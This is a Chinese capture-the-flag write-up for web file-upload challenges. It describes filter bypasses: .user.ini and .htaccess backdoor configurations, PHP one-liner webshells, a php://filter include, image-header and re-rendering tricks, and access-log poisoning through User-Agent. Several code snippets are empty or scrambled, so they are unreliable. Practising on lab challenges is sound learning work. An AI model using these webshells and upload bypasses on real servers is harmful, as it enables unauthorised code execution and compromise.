前言
记录web的题目wp,慢慢变强,铸剑。
文件上传
web151
- 直接抓包改后缀名
web152
- 和上题一样
web153
- 对php后缀基本都限制了,我们构造.user.ini用户后门
- php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
1 | auto_prepend_file=filename //包含在文件头 |
- auto_prepend_file=1.png 就相当于当前目录中所有的php文件都调用了require(‘1.png’),只要进入任意一个php文件就可以使用1.png中我们构造的一句话木马来直接getshell和命令执行。
- 首先上传.user.ini文件
- 再直接上传01.png
- 直接拿flag
web154
- 和上题一样传了个.user.ini文件进去,结果一句话木马写不进去,改用短标签代码<?=就相当于echo接着双反引号执行命令要记得闭合
web155
- 和上题一样
web156
- 和上题一样
web157
- 和上题一样就是分号过滤了,分号改成?>
web158
- 和上题一样
web159
- 和上题一样
web160
- 过滤了反引号,那就文件包含,因为php被过滤了所以得用.来绕过
1 | <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?> |
web161
- 连普通的图片的上传上去,查了下
- getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
- 所以在上题的基础上都加个GIF89a图片头就可以了
web162
- .user.ini
1 | GIF89A |
- exp162.py
1 | # # -- coding:UTF-8 -- |
- 运行结果
web163
- 和上题一模一样
web164
- 题目说改头换面,猜测可能是二次渲染,大家可以参考国光师傅
- 直接用外国大佬脚本生成一个
1 |
|
- 打开看看是否成功写入
1 | 0]($_POST[1]); =$_GET[ |
- 直接上传,抓包,改post传参然后getflag
web165
- 这次变成jpg二次渲染,网上找大佬代码
1 |
|
- 上传一个jpg图片,因为有些图片的成功率不太高,就直接用可以成功的图片,找了个国光老师的图片,原图
- 先上传这个图片,让这个图片被渲染,然后下载下来,格式改jgp
- 上传,抓包记得我们写的一句话是
1 eval($_POST[1]); =
web166
- 查看源码发现只能穿zip
- 抓包,直接给zip上传一句话木马;
- 注意:Content-Type为application/x-zip-compressed
- 抓刚刚传进去的文件,根据zip文件上传的文件包含的特性直接命令执行
web167
- 根据提示说httpd,想到是.htaccess,应该是要利用.htaccess进行绕过
- htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
- 方法一
1 | AddType application/x-httpd-php .jpg //将.jpg后缀解析成php执行 |
- 方法二
1 | <FilesMatch "png"> |
- 两个方法一个意思两种写法,这里用方法一,上传.htaccess
- 在上传一个1.jpg的一句话木马
- 直接打开1.jpg的图片拿flag
web168
- 提示说基础免杀,这里提供几个基础的免杀脚本
- 前三个免杀 密码 0 最后一个自己构造
1 |
|
1 |
|
1 |
|
1 |
|
- 抓包上传
web169
- 右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改
Content-Type
为image/png
,可以传php等格式,但发现内容中过滤了<>
和php
,试了下可以传.user.ini
,我们尝试一下日志包含,User-Agent
加上一句话木马
- .user.ini
1 | auto_prepend_file=/var/log/nginx/access.log |
- 1.php
- 访问1.php发现成功包含
随便访问一个页面写一个User-Agent
测试phpinfo();
- 直接连webshell找flag或者直接命令执行
web170
- 和上题一样